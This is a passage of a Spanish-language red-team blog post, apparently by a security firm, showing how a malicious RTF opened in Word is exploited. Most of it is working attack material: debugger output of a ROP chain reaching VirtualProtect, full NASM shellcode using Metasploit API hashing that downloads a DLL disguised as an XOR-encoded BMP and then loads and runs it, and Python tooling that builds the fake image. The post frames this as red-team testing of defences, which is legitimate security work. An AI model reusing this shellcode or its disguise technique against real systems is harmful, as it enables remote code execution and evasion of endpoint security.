eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=729440cc esp=0f8f4878 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!ThunRTMain+0xb28:
729440cc c3              ret

0:000> 
eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7295088f esp=0f8f487c ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!Zombie_Release+0x1e36:
7295088f ff20            jmp     dword ptr [eax]      ds:002b:729410d0={kernel32!VirtualProtectStub (75e342ff)}

0:000> dd esp
0f8f487c  0f8f4890 0f8f4890 00000200 00000040
0f8f488c  72a4d300 729440cc 088883ec 729440cb
0f8f489c  088883ec 729440cb 088883ec 729440cb
0f8f48ac  088883ec 729440cb 088883ec 729440cb
0f8f48bc  088883ec 729440cb 088883ec 729440cb
0f8f48cc  088883ec 729440cb 088883ec 729440cb
0f8f48dc  088883ec 729440cb 088883ec 729440cb
0f8f48ec  088883ec 729440cb 088883ec 729440cb

0:000> u 0f8f4890 
0f8f4890 cc              int     3
0f8f4891 40              inc     eax
0f8f4892 94              xchg    eax,esp
0f8f4893 72ec            jb      0f8f4881
0f8f4895 838808cb409472  or      dword ptr [eax-6BBF34F8h],72h
0f8f489c ec              in      al,dx
0f8f489d 838808cb409472  or      dword ptr [eax-6BBF34F8h],72h
0f8f48a4 ec              in      al,dx

0:000> g
(ecc.3d4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=f1290000 edx=003fe188 esi=0a45f4d0 edi=0a47cde4
eip=0f8f4890 esp=0f8f4890 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
0f8f4890 cc              int     3

Sólo nos queda escribir una shellcode. ASM es bonito, pero es preferible escribir en C, así que la shellcode sencillita que utilizaremos hará lo siguiente:

  • Descargar una DLL de internet
  • Cargar la DLL mediante LoadLibrary

Sin embargo, descargar una DLL es algo que puede llamar bastante la atención, por lo que vamos a camuflar un poco haciéndolo pasar por un BMP de una manera muy naiv: el archivo que descargaremos contendrá 58 bytes de una cabecera BMP seguidos del contenido de la DLL xor’eada con un valor fijo. En pseudoCódigo:

char url[] = "https://127.0.0.1:8000/asd.bmp";
char download_path[256] = { 0 };
HANDLE hnd, lib;
DWORD filesize, nbytes;
DWORD tmp;
char *dll, *bmp;
int (*pwn)(void);

URLDownloadToCacheFileA(NULL, url, download_path, 255, 0, NULL);

hnd = CreateFileA(
          download_path,
          GENERIC_READ | GENERIC_WRITE,
          FILE_SHARED_READ,
          0,
          OPEN_EXISTING,
          FILE_ATTRIBUTE_NORMAL,
          NULL
      );

filesize = GetFileSize(hnd, NULL);

bmp = VirtualAlloc(NULL, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

ReadFile(hnd, bmp, filesize, &nbytes, NULL);

dll = bmp + 58;
for(unsigned int i = 0; i < filesize; i += 4) {
  tmp = * ((DWORD *) &dll[i]);
  tmp ^= 0x1337c0de
}

SetFilePointer(hnd, 0, 0, FILE_BEGIN);
WriteFile(hnd, dll, filesize - 58, &nbytes, NULL);
SetEndOfFile(hnd);
CloseHandle(hnd);

lib = LoadLibraryA(download_path);
pwn = GetProcAddress(lib, "doit");
pwn();

Utilizaremos NASM para traducir esto a ASM. Lo primero que necesitamos es una manera de localizar funciones de la WinApi. Esto es un tema resuelto hace mucho tiempo, y para el que hay implementaciones públicas. Utilizaremos la de Metasploit.

Nuestra shellcode comenzará definiendo todas las constantes que necesitamos. Escribimos en pwn.asm:

BITS 32
ORG 0

MEM_COMMIT: equ 0x00001000
MEM_RESERVE: equ 0x00002000

PAGE_EXECUTE: equ 0x10
PAGE_EXECUTE_READ: equ 0x20
PAGE_EXECUTE_READWRITE: equ 0x40
PAGE_READWRITE: equ 0x04

GENERIC_READ: equ 0x80000000
GENERIC_WRITE: equ 0x40000000
FILE_SHARE_READ: equ 0x01
OPEN_EXISTING: equ 0x03
FILE_ATTRIBUTE_NORMAL: equ 0x80
FILE_BEGIN: equ 0x00

El código de metasploit es sencillo de utilizar. Para llamar a una función de la WinApi, usualmente se hace lo siguiente:

push arg_N
push arg_N-1
...
push arg_1
push arg_0
call winapi

Con la shellcode de MSF, se añade un parámetro adicional, un hash simple del nombre de la librería y la función que se quiere llamar. La shellcode recorrerá la lista de módulos disponibles en el proceso, calculando el hash del módulo y todas sus funciones, una a una, hasta dar con una que coincida. Por tanto:

push arg_N
push arg_N-1
...
push arg_1
push arg_0
push HASH
call msf_api

Definamos entonces los hashes de las funciones que queremos utilizar. El código para calcular estos hashes se extrajo de aquí.

import sys

def ror( dword, bits ):
  return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
#=============================================================================#
def unicode( string, uppercase=True ):
  result = "";
  if uppercase:
    string = string.upper()
  for c in string:
    result += c + "\x00"
  return result
#=============================================================================#
def hash( module, function, bits=13, print_hash=True ):
  module_hash = 0
  function_hash = 0
  for c in unicode( module + "\x00" ):
    module_hash  = ror( module_hash, bits )
    module_hash += ord( c )
  for c in str( function + "\x00" ):
    function_hash  = ror( function_hash, bits )
    function_hash += ord( c )
  h = module_hash + function_hash & 0xFFFFFFFF
  if print_hash:
    print "[+] 0x%08X = %s!%s" % ( h, module.lower(), function )
  return h

if __name__ == '__main__':
        for x in sys.argv[1:]:
                module, function = x.split(":", 2)
                print module, function, hex(hash(module, function, print_hash=False))

Añadimos las definiciones a pwn.asm:

VIRTUALALLOC_HASH: equ 0xe553a458
VIRTUALPROTECT_HASH: equ 0xc38ae11
URLDOWNLOADTOCACHEFILE_HASH equ 0xdac0c98f
GETFILESIZE_HASH: equ 0x701e12c6
CREATEFILE_HASH: equ 0x4fdaf6da
READFILE_HASH: equ 0xbb5f9ead
WRITEFILE_HASH: equ 0x5bae572d
SETFILEPOINTER_HASH: equ 0xd812cdaa
SETENDOFFILE_HASH: equ 0xd7e3cbdb
CLOSEHANDLE_HASH: equ 0x528796c6
LOADLIBRARY_HASH: equ 0x726774c
GETPROCADDRESS_HASH: equ 0x7802f749
DELETEFILE_HASH: equ 0x13dd2ed7
EXITPROCESS_HASH: equ 0x56a2b5f0

Y definamos una estructura en la que guardaremos nuestras variables:

STRUC mydata
    .api_call:      resd 1      ; guardaremos la dirección de la función de MSF
    .filehandle:    resd 1      ; HANDLE del archivo devuelto por CreateFileA
    .filebuf:       resd 1      ; puntero devuelto por VirtualAlloc
    .filesize:      resd 1      ; tamaño devuelto por GetFileSize
    .nbytes:        resd 1      ; escrito por ReadFile y WriteFile
    .url:           resb 256    ; URL desde la que descargaremos el BMP
    .down_filename: resb 256    ; URLDownloadToCacheFileA escribirá aquí la ruta donde guardó el archivo
    .apiname:       resb 64     ; la cadena "doit" usada en GetProcAddress
ENDSTRUC

Y comenzamos a escribir el código:

cld
call start

%include "block_api.asm" ;

start:
    pop ebp     ; ebp -> api MSF

    ; reservamos espacio para mydata
    push dword PAGE_READWRITE
    push dword (MEM_COMMIT | MEM_RESERVE)
    push mydata_size
    push 0
    push VIRTUALALLOC_HASH
    call ebp

    ; guardamos la dirección de la api de MSF y utilizamos ebp como puntero a mydata
    mov dword [eax + mydata.api_call], ebp
    mov ebp, eax

    ; url = "https://127.0.0.1:8000/asd.bmp"
    mov dword [ebp + mydata.url], 0x70747468
    mov dword [ebp + mydata.url + 4], 0x312f2f3a
    mov dword [ebp + mydata.url + 8], 0x302e3732
    mov dword [ebp + mydata.url + 12], 0x312e302e
    mov dword [ebp + mydata.url + 16], 0x3030383a
    mov dword [ebp + mydata.url + 20], 0x73612f30
    mov dword [ebp + mydata.url + 24], 0x6d622e64
    mov dword [ebp + mydata.url + 28], 0x00000070

    ; apiname = "doit"
    mov dword [ebp + mydata.apiname], 0x74696f64
    mov dword [ebp + mydata.apiname + 4], 0x00000000

    ; UrlDownloadToCacheFileA(mydata.url, mydata.url_filename, 254, 0, NULL);
    push 0                              ; pBSC
    push 0                              ; dwReserved
    push 254                            ; cchFileName
    lea eax, [ebp + mydata.down_filename]
    push eax                            ; szFileName
    lea eax, [ebp + mydata.url]
    push eax                            ; szUrl
    push 0                              ; lpUnkCaller
    push URLDOWNLOADTOCACHEFILE_HASH
    call dword [ebp + mydata.api_call]

    ; mydata.filehandle = CreateFileA(
    ;                       mydata.url_filename,
    ;                       GENERIC_READ | GENERIC_WRITE,
    ;                       FILE_SHARED_READ,
    ;                       0,
    ;                       OPEN_EXISTING,
    ;                       FILE_ATTRIBUTE_NORMAL,
    ;                       NULL
    ; )
    push dword 0                        ; hTemplateFile
    push dword FILE_ATTRIBUTE_NORMAL    ; dwFlagsAndAttributes
    push dword OPEN_EXISTING            ; dwCreationDisposition
    push dword 0                        ; lpSecurityAttributes
    push dword FILE_SHARE_READ          ; dwShareMode
    push dword (GENERIC_READ | GENERIC_WRITE) ; dwDesiredAccess
    lea eax, [ebp + mydata.down_filename]
    push eax
    push CREATEFILE_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filehandle], eax

    ; mydata.filesize = GetFileSize(mydata.filehandle, NULL)
    push dword 0                        ; lpFileSizeHigh
    push eax                            ; hFile
    push GETFILESIZE_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filesize], eax

    ; mydata.filebuf = VirtualAlloc(
    ;                     NULL,
    ;                     mydata.filesize,
    ;                     MEM_COMMIT | MEM_RESERVE,
    ;                     PAGE_READWRITE
    ;                 );
    push dword PAGE_READWRITE
    push dword (MEM_COMMIT | MEM_RESERVE)
    push eax
    push 0
    push VIRTUALALLOC_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filebuf], eax

    ; ReadFile(
    ;         mydata.filehandle,
    ;         mydata.filebuf,
    ;         mydata.filesize,
    ;         &mydata.nbytes,
    ;         NULL
    ; )
    push dword 0                        ; lpOverlapped
    lea ecx, [ebp + mydata.nbytes]
    push ecx                            ; lpNumberOfBytesRead
    mov ecx, dword [ebp + mydata.filesize]
    push ecx                            ; nNumberOfBytesToRead
    push eax                            ; lpBuffer
    mov eax, dword [ebp + mydata.filehandle]
    push eax                            ; hFile
    push READFILE_HASH
    call dword [ebp + mydata.api_call]

    ; dll = bmp + 58;
    ; for(unsigned int i = 0; i < filesize; i += 4) {
    ;   tmp = * ((DWORD *) &dll[i]);
    ;   tmp ^= 0x1337c0de
    ; }
    mov edi, dword [ebp + mydata.filebuf]
    add edi, 58
    mov ecx, dword [ebp + mydata.filesize]
    sub ecx, 58
    sar ecx, 2
decode_loop:
    xor dword [edi], 0x1337c0de
    add edi, 4
    dec ecx
    jnz decode_loop

    ; SetFilePointer(mydata.filehandle, 0, 0, FILE_BEGIN)
    push dword FILE_BEGIN               ; dwMoveMethod
    push dword 0                        ; lpDistanceToMoveHigh
    push dword 0                        ; lDistanceToMove
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push SETFILEPOINTER_HASH
    call dword [ebp + mydata.api_call]

    ; WriteFile(
    ;     mydata.filehandle,
    ;     mydata.filebuf + 58,
    ;     mydata.filesize - 58,
    ;     &mydata.nbytes,
    ;     NULL
    ; )
    push dword 0                        ; lpOverlapped
    lea eax, [ebp + mydata.nbytes]
    push eax                            ; lpNumberOfBytesWritten
    mov eax, dword [ebp + mydata.filesize]
    sub eax, 58
    push eax                            ; nNumberOfBytesToWrite
    mov eax, dword [ebp + mydata.filebuf]
    add eax, 58
    push eax                            ; lpBuffer
    mov eax, dword [ebp + mydata.filehandle]
    push eax                            ; hFile
    push WRITEFILE_HASH
    call dword [ebp + mydata.api_call]

    ; SetEndOfFile(mydata.filehandle)
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push SETENDOFFILE_HASH
    call dword [ebp + mydata.api_call]

    ; CloseHandle(mydata.filehandle)
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push CLOSEHANDLE_HASH
    call dword [ebp + mydata.api_call]

    ; eax = LoadLibraryA(mydata.down_filename)
    lea eax, [ebp + mydata.down_filename]
    push eax
    push LOADLIBRARY_HASH
    call dword [ebp + mydata.api_call]

    ; eax = GetProcAddress(eax, mydata.apiname)
    lea ebx, [ebp + mydata.apiname]
    push ebx
    push eax
    push GETPROCADDRESS_HASH
    call dword [ebp + mydata.api_call]

    ; eax()
    call eax

    ; ExitProcess()
    push 0
    push EXITPROCESS_HASH
    call dword [ebp + mydata.api_call]

Finalizaremos la shellcode con una llamada a ExitProcess(). Ensamblamos:

$ nasm -o pwn.bin pwn.asm
$ ls -la pwn.bin
-rw-r--r-- 1 i i 519 Nov  8 11:36 pwn.bin

Modificamos ligeramente el código que genera nuestro payload para que cargue la shellcode de este archivo:

shellcode = open("pwn.bin", "rb").read()

Creamos una DLL que nos muestre un mensaje:

#include 

int __declspec(dllexport) doit()
{
  HANDLE current_process;
  char modulepath[MAX_PATH] = { 0 };
  char *txt = NULL;

  current_process = GetModuleHandleA(NULL);
  if (NULL != current_process) {
    if (0 != GetModuleFileNameA((HMODULE)current_process, modulepath, MAX_PATH)) {
      txt = modulepath;
    }
  }
  
  if (NULL == txt) {
    txt = "";
  }

  MessageBoxA(NULL, txt, "Hi from", MB_OK);

  return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

Creamos el falso BMP:

import struct
import sys

k = struct.pack("<L", 0x1337c0de)
key = bytearray(k)

if __name__ == '__main__':
  f = open(sys.argv[1], "rb")
  b = bytearray(f.read())
  f.close()

  for i in range(len(b)):
    b[i] = b[i] ^ key[i % len(key)]

  f = open(sys.argv[2], "wb")
  b = ("a" * 58) + b        ; not a bmp huh?
  f.write(b)
  f.close()

Iniciamos un servidor HTTP en la carpeta donde tenemos asd.bmp:

$ python -m SimpleHTTPServer 8000

Y abrimos el RTF con Word.

Pwned

Pwned

0x06 – Conclusión

Este tipo de ejercicios e investigaciones realizadas por parte del Red Team permiten comprobar si el nivel de bastionado de las máquinas y las supuestas soluciones anti-APT o EDR desplegadas en nuestros clientes son realmente eficaces y están cumpliendo con su función. Adicionalmente, irrumpir en las redes corporativas a través de la explotación de una vulnerabilidad de estas características, emulando el comportamiento de un APT, permite entrenar a los equipos de respuesta ante incidentes.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/